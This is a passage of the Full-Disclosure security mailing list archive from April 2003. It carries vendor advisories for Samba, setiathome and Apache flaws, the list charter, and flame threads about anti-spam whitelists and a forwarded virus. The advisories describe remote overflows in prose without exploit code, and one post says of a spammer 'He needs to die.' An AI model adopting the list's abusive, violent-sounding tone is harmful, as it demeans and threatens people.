ftp://updates.redhat.com/9/en/os/i386/samba-client-2.2.7a-8.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-swat-2.2.7a-8.9.0.i386.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 09a8bdd2a71c606cbe9008b09b5cb4a7 7.1/en/os/SRPMS/samba-2.0.10-5.7.1.src.rpm 43876406f5ff4550359d7a5ebf7cb324 7.1/en/os/i386/samba-2.0.10-5.7.1.i386.rpm 24481e57d5525b193376852f031a54e0 7.1/en/os/i386/samba-client-2.0.10-5.7.1.i386.rpm a7de8a59dcf1b2bacdf6681662431cb2 7.1/en/os/i386/samba-common-2.0.10-5.7.1.i386.rpm e413837799ff3bc860c868947fabd523 7.1/en/os/i386/samba-swat-2.0.10-5.7.1.i386.rpm 4753f8b50da25cd251354248cc309930 7.2/en/os/SRPMS/samba-2.2.7-3.7.2.src.rpm 9047e4072c65e9f11bbfbb00e45ee257 7.2/en/os/i386/samba-2.2.7-3.7.2.i386.rpm df7f4ba09d0ead29e1e06b8467b30935 7.2/en/os/i386/samba-client-2.2.7-3.7.2.i386.rpm d035f89b5155099232eb1d12e3b551ef 7.2/en/os/i386/samba-common-2.2.7-3.7.2.i386.rpm 7c852414dc27505e6cad198d1059580a 7.2/en/os/i386/samba-swat-2.2.7-3.7.2.i386.rpm 208fc22f66c028014ee590fd4b09cd8f 7.2/en/os/ia64/samba-2.2.7-3.7.2.ia64.rpm f4cc93943361cd213269e1ba40da0b18 7.2/en/os/ia64/samba-client-2.2.7-3.7.2.ia64.rpm d333b4149ef242d6c4059f45f462219d 7.2/en/os/ia64/samba-common-2.2.7-3.7.2.ia64.rpm d7116e4dc29f5ca4de4cf97c4bb945bb 7.2/en/os/ia64/samba-swat-2.2.7-3.7.2.ia64.rpm 0fd8526d3a8f5e441bc16098e124b285 7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm edbd81c52155a0b7eb107fda054ca945 7.3/en/os/i386/samba-2.2.7-3.7.3.i386.rpm 7c03367ed0576d580a60df18d97c6681 7.3/en/os/i386/samba-client-2.2.7-3.7.3.i386.rpm 689ca3fed3b63d59d680109881c610bb 7.3/en/os/i386/samba-common-2.2.7-3.7.3.i386.rpm 343902163244399713a77161c8cc58f5 7.3/en/os/i386/samba-swat-2.2.7-3.7.3.i386.rpm 2198081f27c842f66377c9b595b4694d 8.0/en/os/SRPMS/samba-2.2.7-5.8.0.src.rpm 2fea298375c9f6307e84dc384c97c63c 8.0/en/os/i386/samba-2.2.7-5.8.0.i386.rpm 559490c7bddce43b98c4a65cfdc03e29 8.0/en/os/i386/samba-client-2.2.7-5.8.0.i386.rpm 0c20656f0202f421bf8ae536d1347a98 8.0/en/os/i386/samba-common-2.2.7-5.8.0.i386.rpm 0c0542bdd2f787b72e440af66927f9f1 8.0/en/os/i386/samba-swat-2.2.7-5.8.0.i386.rpm 9e1763f38f616b76030584eea6e4bbaf 9/en/os/SRPMS/samba-2.2.7a-8.9.0.src.rpm 4fca0fbb65534abf85972deb9bfed4bc 9/en/os/i386/samba-2.2.7a-8.9.0.i386.rpm 9e40436148d54048e22670787a66a92e 9/en/os/i386/samba-client-2.2.7a-8.9.0.i386.rpm ef0c8e03cd63888283e58e4b9e5a84fb 9/en/os/i386/samba-common-2.2.7a-8.9.0.i386.rpm 23277324eca8438aa7c4ae67ea4f7594 9/en/os/i386/samba-swat-2.2.7a-8.9.0.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://www.digitaldefense.net/labs/advisories/DDI-1013.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0196 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From aliz at gentoo.org Wed Apr 9 09:44:12 2003 From: aliz at gentoo.org (Daniel Ahlberg) Date: Wed, 9 Apr 2003 10:44:12 +0200 Subject: [Full-Disclosure] GLSA: samba (200304-02) Message-ID: <20030409084413.2748E33A82@mail1.tamperd.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - --------------------------------------------------------------------- GENTOO LINUX SECURITY ANNOUNCEMENT 200304-02 - - --------------------------------------------------------------------- PACKAGE : samba SUMMARY : Buffer overflow DATE : 2003-04-09 08:44 UTC EXPLOIT : remote VERSIONS AFFECTED : <2.2.8a FIXED VERSION : >=2.2.8a CVE : CAN-2003-0201 - - --------------------------------------------------------------------- - From advisory: "An anonymous user can gain remote root access due to a buffer overflow caused by a StrnCpy() into a char array (fname) using a non-constant length (namelen)." Read the full advisory at: http://marc.theaimsgroup.com/?l=bugtraq&m=104972664226781&w=2 SOLUTION It is recommended that all Gentoo Linux users who are running net-fs/samba upgrade to samba-2.2.8a as follows: emerge sync emerge samba emerge clean - - --------------------------------------------------------------------- aliz at gentoo.org - GnuPG key is available at http://cvs.gentoo.org/~aliz - - --------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+k91YfT7nyhUpoZMRAtowAKDAgOYrqeXDRilQkDN/SBXJegJ6RgCgsSRV ni8x1vst4U3vttassFEdpfA= =wFgE -----END PGP SIGNATURE----- From johnc at grok.org.uk Wed Apr 9 10:48:03 2003 From: johnc at grok.org.uk (John Cartwright) Date: Wed, 9 Apr 2003 10:48:03 +0100 Subject: [Full-Disclosure] List Charter Message-ID: <20030409094803.GA7995@grok.org.uk> [Full-Disclosure] Mailing List Charter John Cartwright and Len Rose Introduction & Purpose ---------------------- This document serves as a charter for the [Full-Disclosure] mailing list hosted at lists.netsys.com. The list was created on 9th July 2002 by Len Rose, and is primarily concerned with security issues and their discussion. The list is administered by Len Rose and John Cartwright. Subscription Information ------------------------ Subscription/unsubscription may be performed via the HTTP interface located at http://lists.netsys.com/mailman/listinfo/full-disclosure. Alternatively, commands may be emailed to full-disclosure-request at lists.netsys.com, send the word 'help' in either the message subject or body for details. Moderation & Management ----------------------- The [Full-Disclosure] list is unmoderated. Typically posting will be restricted to members only, however the administrators may choose to accept submissions from non-members based on individual merit and relevance. It is expected that the list will be largely self-policing, however in special circumstances (eg spamming, misappropriation) then offending members may be removed from the list by the management. An archive of postings is available at http://lists.netsys.com/pipermail/full-disclosure/ Acceptable Content ------------------ Any information pertaining to vulnerabilities is acceptable, for instance announcement and discussion thereof, exploit techniques and code, related tools and papers, and other useful information. Gratuitous advertisement, product placement, or self-promotion is forbidden. Disagreements, flames, arguments, and off-topic discussion should be taken off-list wherever possible. Humour is acceptable in moderation, providing it is inoffensive. Politics should be avoided at all costs. Members are reminded that due to the open nature of the list, they should use discretion in executing any tools or code distributed via this list. Posting Guidelines ------------------ The primary language of this list is English. Members are expected to maintain a reasonable standard of netiquette when posting to the list. Quoting should not exceed that which is necessary to convey context, this is especially relevant to members subscribed to the digested version of the list. The use of HTML is discouraged, but not forbidden. Signatures will preferably be short and to the point, and those containing 'disclaimers' should be avoided where possible. Attachments may be included if relevant or necessary (e.g. PGP or S/MIME signatures, proof-of-concept code, etc) but must not be active (in the case of a worm, for example) or malicious to the recipient. Vacation messages should be carefully configured to avoid replying to list postings. Offenders will be excluded from the mailing list until the problem is corrected. Members may post to the list by emailing full-disclosure at lists.netsys.com. Do not send subscription/ unsubscription mails to this address, use the -request address mentioned above. Charter Additions/Changes ------------------------- The list charter will be published at http://lists.netsys.com/full-disclosure-charter.html In addition, the charter will be posted monthly to the list by the management. Alterations will be made after consultation with list members and a concensus has been reached. From measl at mfn.org Wed Apr 9 11:47:13 2003 From: measl at mfn.org (J.A. Terranson) Date: Wed, 9 Apr 2003 05:47:13 -0500 (CDT) Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: <1049854628.8829.3.camel@laptop.bleepyou.com> Message-ID: IIRC, Decaln McCullough just did an article on this guy: everyone who "opts-in" to SEND him mail also becomes an "opted-in" recipient of this guys spamhausen. He needs to die. On 8 Apr 2003, Michael Osten wrote: > Date: 08 Apr 2003 21:17:06 -0500 > From: Michael Osten > To: nick at virus-l.demon.co.uk > Cc: Full-Disclosure > Subject: Re: [Full-Disclosure] Spam Arrest stupidity > > On Tue, 2003-04-08 at 17:55, Nick FitzGerald wrote: > > To the list admins... > > > > Please remove this twat from Full-Disclosure. His choice of > > anti-spam method clearly shows he is too stupid to understand or > > benefit from anything on this list so his annoyance value to the > > list's posters is unjustified... > > Nick has a point. Every list member gets a reply from this guy's spam > filter asking them to add themselves to his whitelist. It is annoying. > Opt-in mailboxes are stupid. > > Hey Kevin, try spamassassin instead. I get zero spam. > -- Yours, J.A. Terranson sysadmin at mfn.org From lists.netsys.com at jscript.dk Wed Apr 9 11:55:36 2003 From: lists.netsys.com at jscript.dk (Thor Larholm) Date: Wed, 9 Apr 2003 12:55:36 +0200 Subject: [Full-Disclosure] Spam Arrest stupidity References: <0HD10041OUHBH4@smtp2.clear.net.nz> Message-ID: <011101c2fe86$8d7b8370$0200000a@JumperLappy> SpamArrest.com are spammers themselves, they collected every email address that tried to email their users (or provided by giving their pop3 user/pass to them) and spammed their own services to them. It didn't matter if you clicked their link or not. I personally got their spam because some bugtraq users were using spamarrest to "protect" their email. http://groups.google.com/groups?q=spamarrest+group%3Anews.admin.net-abuse.em ail Anyone who would trust their email account to spammers should get a visit from Mr ClueBat. /Thor ----- Original Message ----- From: "Nick FitzGerald" To: Sent: Wednesday, April 09, 2003 12:55 AM Subject: [Full-Disclosure] Spam Arrest stupidity > To the list admins... > > Please remove this twat from Full-Disclosure. His choice of > anti-spam method clearly shows he is too stupid to understand or > benefit from anything on this list so his annoyance value to the > list's posters is unjustified... > > ------------------------------------------------------------------- > From: Kevin > Reply-To: Kevin > To: nick at virus-l.demon.co.uk > Subject: RE: Re: [Full-Disclosure] Fwd: Internet Security Update (verification) > Date: Tue, 08 Apr 2003 17:28:17 -0500 > > Kevin here, > > I'm protecting myself from receiving junk mail. > > > Just this once, click the link below so I can receive your emails. > You won't have to do this again. > > http://spamarrest.com/<> > > > Spam Arrest - Take control of your inbox! > <> > ------------------------------------------------------------------- > > (And, it was firking HTML Email at that. Why????) > > > Regards, > > Nick FitzGerald > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From aliz at gentoo.org Wed Apr 9 11:58:05 2003 From: aliz at gentoo.org (Daniel Ahlberg) Date: Wed, 9 Apr 2003 12:58:05 +0200 Subject: [Full-Disclosure] GLSA: setiathome (200304-03) Message-ID: <20030409105806.28D4433A81@mail1.tamperd.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - --------------------------------------------------------------------- GENTOO LINUX SECURITY ANNOUNCEMENT 200304-03 - - --------------------------------------------------------------------- PACKAGE : setiathome SUMMARY : buffer overflow DATE : 2003-04-09 10:57 UTC EXPLOIT : remote VERSIONS AFFECTED : <3.08 FIXED VERSION : >=3.08 CVE : - - --------------------------------------------------------------------- - From advisory: "There is a bufferoverflow in the server responds handler. Sending an overly large string followed by a newline ('\n') character to the client will trigger this overflow. This has been tested with various versions of the client. All versions are presumed to have this flaw in some form." Read the full advisory at: http://spoor12.edup.tudelft.nl/ SOLUTION It is recommended that all Gentoo Linux users who are running app-sci/setiathome upgrade to setiathome-3.08 as follows: emerge sync emerge setiathome emerge clean - - --------------------------------------------------------------------- aliz at gentoo.org - GnuPG key is available at http://cvs.gentoo.org/~aliz - - --------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+k/y4fT7nyhUpoZMRAgi7AJ4hG59plYUfRAafSKbRmeI++rT5ZACgs+Vk 6Pqp0YFy+4mqb7Am7f4h/PQ= =IlMz -----END PGP SIGNATURE----- From debian-security-announce at lists.debian.org Wed Apr 9 12:20:05 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Wed, 9 Apr 2003 13:20:05 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 282-1] New glibc packages fix arbitrary code execution Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030409/d062ac2b/attachment.ksh From smcmahon at eiv.com Wed Apr 9 14:26:21 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Wed, 9 Apr 2003 09:26:21 -0400 Subject: [Full-Disclosure] 'internet security update' hoax and stuff... In-Reply-To: References: Message-ID: <20030409132621.GB17639@eiv.com> On Wed, Apr 09, 2003 at 12:24:01AM +0300, Ovidiu COJOCARU said: > I'm using 'pine' to read my e-mail....so ...no wingoze, no outbreak, just > plain text...so I guess I'm immune ;) http://www.kb.cert.org/vuls/id/780737 -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030409/eb748527/attachment.bin From smcmahon at eiv.com Wed Apr 9 14:38:03 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Wed, 9 Apr 2003 09:38:03 -0400 Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: References: <1049854628.8829.3.camel@laptop.bleepyou.com> Message-ID: <20030409133803.GC17639@eiv.com> On Wed, Apr 09, 2003 at 05:47:13AM -0500, J.A. Terranson said: > > IIRC, Decaln McCullough just did an article on this guy: everyone who > "opts-in" to SEND him mail also becomes an "opted-in" recipient of this guys > spamhausen. I just block all inbound email from the opt-in places. Solves the only part of the problem I care about. -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030409/e91b4edf/attachment.bin From lsanders at ittc.ku.edu Wed Apr 9 11:21:11 2003 From: lsanders at ittc.ku.edu (Larry Sanders) Date: 09 Apr 2003 10:21:11 +0000 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: <20030409084506.4655.82798.Mailman@NETSYS.COM> References: <20030409084506.4655.82798.Mailman@NETSYS.COM> Message-ID: <1049883671.21620.29.camel@sn1.sandersnet.net> On Wed, 2003-04-09 at 08:45, Nick FitzGerald Wrote: > [snip] > What he, and several others of us, said makes you stupid is that you > _forwarded the whole message when you suspected the attachment was a > virus or something similar_. On Wed, 2003-04-09 at 08:45, Nicolas Villatte Wrote: > So you did it on purpose. Spreading unsolicited virus may be > considered a crime in many countries. I think you should better > > - expose your problem without sending the virus to a whole > community (send it only if anyone is interested in helping you > and is asking for it) > - update your antivirus software more often > - try some reverse engineering on the suspected file I can't take it anymore. I'm sorry, I know I'm just contributing to the "noise" now in this flame war, but I have to say it. If you don't want to recieve _nasty_ things, unsubscribe! A security list (and one titled "Full Disclosure" at that) is gong to recieve virii - duh! It's also going to contain other vulnabilities. When someone includes a "example" of a buffer overflow in opera via a html link - do you also complain? Come on people. Some people even _like_ looking at virii. Oh, and don't even get me started on those people that so generously let us know that a virus has been detected - great, thanks, I'm so glad I know now..... And... whitelist _isn't_ the way to go. /rant Whew. From pauls at utdallas.edu Wed Apr 9 16:50:58 2003 From: pauls at utdallas.edu (Schmehl, Paul L) Date: Wed, 9 Apr 2003 10:50:58 -0500 Subject: [Full-Disclosure] Spam Arrest stupidity Message-ID: <871080DEC5874D41B4E3AFC5C400611E03F60169@UTDEVS02.campus.ad.utdallas.edu> Nick is just trying to maintain his image. :-) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ -----Original Message----- From: Blue Boar [mailto:BlueBoar at thievco.com] Sent: Tuesday, April 08, 2003 8:01 PM To: nick at virus-l.demon.co.uk Cc: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Spam Arrest stupidity Twice in one day Nick, people are going to start thinking you're antisocial. :) From debian-security-announce at lists.debian.org Wed Apr 9 16:56:36 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Wed, 9 Apr 2003 17:56:36 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 269-2] New heimdal packages fix authentication failure Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030409/b7d2f682/attachment.ksh From brad.knowles at skynet.be Wed Apr 9 15:48:53 2003 From: brad.knowles at skynet.be (Brad Knowles) Date: Wed, 9 Apr 2003 16:48:53 +0200 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: <0HD2009X30ILBW@smtp1.clear.net.nz> References: <011101c2fe09$e12f2800$7044cd3e@INTERNET> <0HD2009X30ILBW@smtp1.clear.net.nz> Message-ID: At 2:06 PM +1300 2003/04/09, Nick FitzGerald wrote: > What he, and several others of us, said makes you stupid is that you > _forwarded the whole message when you suspected the attachment was a > virus or something similar_. For the moment, let's assume that this was a result from a new virus, Trojan Horse, or hoax that had not previously been encountered. Now, this list is called "full-disclosure". How are we to intelligently discuss some subject, if we don't have a complete copy of the thing that it is that we are supposed to be discussing? > Your inability to accept that that was extremely stupid is seen as > quite reasonably reinforcing that belief. I had thought that this was the list where all the real security experts went, after BugTraq started taking a more intrusive editorial stance. I had thought that we'd have people on this list that have sufficiently armored themselves against attack that we wouldn't have things like "virus detected" warnings being posted via automated programs. I had thought that we could have a reasonable discussion, and that if there was something I had missed, people would provide me with a pointer to the appropriate information source, without the infantile need to resort to name-calling. A number of people were, indeed, kind enough to provide links to the virus description web pages (ones that I had searched for but obviously missed), and I greatly appreciate the speed of their response. Are you, and others, now going to make me regret that this is the place where I thought that a free and open discussion was actually possible? -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From bugzilla at redhat.com Wed Apr 9 17:31:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Wed, 9 Apr 2003 12:31 -0400 Subject: [Full-Disclosure] [RHSA-2003:139-01] Updated httpd packages fix security vulnerabilities. Message-ID: <200304091632.h39GVxs09107@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated httpd packages fix security vulnerabilities. Advisory ID: RHSA-2003:139-01 Issue date: 2003-04-09 Updated on: 2003-04-09 Product: Red Hat Linux Keywords: apache Cross references: Obsoletes: RHSA-2002:222 CVE Names: CAN-2003-0083 CAN-2003-0132 CAN-2003-0020 --------------------------------------------------------------------- 1. Topic: Updated httpd packages which fix a number of security issues are now available for Red Hat Linux 8.0 and 9. 2. Relevant releases/architectures: Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: The Apache HTTP Web Server is a secure, efficient, and extensible Web server that provides HTTP services. A memory leak in Apache 2.0 through 2.0.44 allows remote attackers to cause a significant denial of service (DoS) by sending requests containing lots of linefeed characters. Apache 2.0 does not filter terminal escape sequences from its access logs, which could make it easier for attackers to insert those sequences into terminal emulators containing vulnerabilities related to escape sequences. Apache does not filter terminal escape sequences from its error logs, which could make it easier for attackers to insert those sequences into terminal emulators containing vulnerabilities related to escape sequences. All users of the Apache HTTP Web Server are advised to upgrade to the applicable errata packages containing back-ported fixes applied to Apache version 2.0.40. After the errata packages are installed, restart the Web service by running the following command: /sbin/service httpd restart 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 73428 - make install for php4 can't find instdso.sh 82142 - Apache leaking file descriptors to cgi-bin programs. 82587 - nph-*.cgi scripts fail with latest httpd rpm 86254 - Wrong path in config_vars.mk gives mod_jk build errors 6. RPMs required: Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/httpd-2.0.40-11.3.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/httpd-2.0.40-11.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/httpd-devel-2.0.40-11.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/httpd-manual-2.0.40-11.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/mod_ssl-2.0.40-11.3.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/httpd-2.0.40-21.1.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/httpd-2.0.40-21.1.i386.rpm ftp://updates.redhat.com/9/en/os/i386/httpd-devel-2.0.40-21.1.i386.rpm ftp://updates.redhat.com/9/en/os/i386/httpd-manual-2.0.40-21.1.i386.rpm ftp://updates.redhat.com/9/en/os/i386/mod_ssl-2.0.40-21.1.i386.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 794e4269844a01a146ecf768f871e14c 8.0/en/os/SRPMS/httpd-2.0.40-11.3.src.rpm 84d4bd6793f4a129cb3fa7b85d000a1c 8.0/en/os/i386/httpd-2.0.40-11.3.i386.rpm 339bed8442dfce1f18bf4a30da8a17ca 8.0/en/os/i386/httpd-devel-2.0.40-11.3.i386.rpm 96fb773e97e8d54661b4d254240eb5c8 8.0/en/os/i386/httpd-manual-2.0.40-11.3.i386.rpm cbbafd9445dea072d31e5af06e0f1764 8.0/en/os/i386/mod_ssl-2.0.40-11.3.i386.rpm 6b0b735f90dd4f2e73a4a47bce69c8e0 9/en/os/SRPMS/httpd-2.0.40-21.1.src.rpm 6e0bf850824d4d5802e93aac3605f0d5 9/en/os/i386/httpd-2.0.40-21.1.i386.rpm 7ddf4f278a274debab12d1ce07710fa6 9/en/os/i386/httpd-devel-2.0.40-21.1.i386.rpm 565604065b5078d1e403ab2b8523c37b 9/en/os/i386/httpd-manual-2.0.40-21.1.i386.rpm d56523205ca8297caf4bd5b6db275aae 9/en/os/i386/mod_ssl-2.0.40-21.1.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://www.apacheweek.com/issues/03-04-04#security http://marc.theaimsgroup.com/?l=bugtraq&m=104931360606484 http://www.idefense.com/advisory/04.08.03.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0083 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0132 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0020 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From mosten at bleepyou.com Wed Apr 9 17:48:00 2003 From: mosten at bleepyou.com (Michael Osten) Date: 09 Apr 2003 11:48:00 -0500 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: References: <011101c2fe09$e12f2800$7044cd3e@INTERNET> <0HD2009X30ILBW@smtp1.clear.net.nz> Message-ID: <1049906881.10141.41.camel@laptop.bleepyou.com> > Are you, and others, now going to make me regret that this is the > place where I thought that a free and open discussion was actually > possible? You made a mistake, you got flamed, just admit it and move on. The list charter specifically prohibits active code (such as your virus). -- --------------------------- Michael Osten From dufresne at winternet.com Wed Apr 9 18:20:17 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Wed, 9 Apr 2003 12:20:17 -0500 (CDT) Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: Message-ID: Brad, I think you miss the bottom key point Nick made. It concerned the use of common sense, you sidestepped it. And that can be damaging in a technical environment. One might fully reasonably assume most folks are protected in some fashoin from mass infection when something might get released to such a list as this, and that assumption will be incorrect. No matter what the target audience of the list, no matter how 'technically inclined" the readership is assumed. Look at how many folks that should know better spam the list not only with anti-virus trash, or spam avoidance crap, but also; vacation messages, anti minor-profanity BS, and what not. There was not real need at the time to include the virus/trojan into the message you posted, at least not in an openly virant manner, sheesh, even a gzip or uuendcoe or something would have shown a tad more forethought. But, really, the headers with the info you provided in the form of a question should have sufficed, until and or unless someone asked for more specifics. Perhaps a point you can agree with? Thanks, Ron DuFresne On Wed, 9 Apr 2003, Brad Knowles wrote: > At 2:06 PM +1300 2003/04/09, Nick FitzGerald wrote: > > > What he, and several others of us, said makes you stupid is that you > > _forwarded the whole message when you suspected the attachment was a > > virus or something similar_. > > For the moment, let's assume that this was a result from a new > virus, Trojan Horse, or hoax that had not previously been encountered. > > Now, this list is called "full-disclosure". How are we to > intelligently discuss some subject, if we don't have a complete copy > of the thing that it is that we are supposed to be discussing? > > > Your inability to accept that that was extremely stupid is seen as > > quite reasonably reinforcing that belief. > > I had thought that this was the list where all the real security > experts went, after BugTraq started taking a more intrusive editorial > stance. > > I had thought that we'd have people on this list that have > sufficiently armored themselves against attack that we wouldn't have > things like "virus detected" warnings being posted via automated > programs. > > I had thought that we could have a reasonable discussion, and > that if there was something I had missed, people would provide me > with a pointer to the appropriate information source, without the > infantile need to resort to name-calling. > > > A number of people were, indeed, kind enough to provide links to > the virus description web pages (ones that I had searched for but > obviously missed), and I greatly appreciate the speed of their > response. > > Are you, and others, now going to make me regret that this is the > place where I thought that a free and open discussion was actually > possible? > > -- > Brad Knowles, > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." > -Benjamin Franklin, Historical Review of Pennsylvania. > > GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ > !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) > tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From erc at pobox.com Wed Apr 9 18:24:26 2003 From: erc at pobox.com (Ed Carp) Date: Wed, 9 Apr 2003 12:24:26 -0500 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: Message-ID: > Now, this list is called "full-disclosure". How are we to > intelligently discuss some subject, if we don't have a complete copy > of the thing that it is that we are supposed to be discussing? Full disclosure doesn't mean blasting out viruses to a mailing list. This is very poor practice. A more common (and accepted) practice is to upload the program in question to an FTP server, then post a link to the program. This serves several purposes: (1) It lessens the exposure of the list members, (2) it cuts down on list traffic, and (3) it provides a static place for programs to be uploaded for reference. > I had thought that we'd have people on this list that have > sufficiently armored themselves against attack that we wouldn't have > things like "virus detected" warnings being posted via automated > programs. If it's a new virus, worm, or what-have-you, how can one defend against a new threat? Bottom line is, you are putting people at unnecessary risk by posting stuff like this when there are much better ways of handling the situation. From madsaxon at direcway.com Wed Apr 9 18:42:54 2003 From: madsaxon at direcway.com (madsaxon) Date: Wed, 09 Apr 2003 12:42:54 -0500 Subject: [Full-Disclosure] RE : MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] In-Reply-To: References: <0HD2009X30ILBW@smtp1.clear.net.nz> <011101c2fe09$e12f2800$7044cd3e@INTERNET> <0HD2009X30ILBW@smtp1.clear.net.nz> Message-ID: <5.0.0.25.2.20030409123539.048e0100@mail.direcway.com> At 04:48 PM 4/9/03 +0200, Brad Knowles wrote: > I had thought that this was the list where all the real security > experts went, after BugTraq started taking a more intrusive editorial stance. Perhaps, but it has its share of people who seem to have nothing better to do than be abusive, judgmental, and obstreperous, as well. I suppose that's an unavoidable artifact of unmoderated lists, though. My advice is simply to ignore people who can't or won't engage in rational, civil debate. It will keep your blood pressure way down. ;-) m5x From agent99 at sgi.com Wed Apr 9 19:02:42 2003 From: agent99 at sgi.com (SGI Security Coordinator) Date: Wed, 9 Apr 2003 11:02:42 -0700 Subject: [Full-Disclosure] Samba Security Vulnerability on IRIX Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SGI Security Advisory Title : Samba Security Vulnerability Number : 20030403-01-P Date : April 9, 2003 Reference: CVE 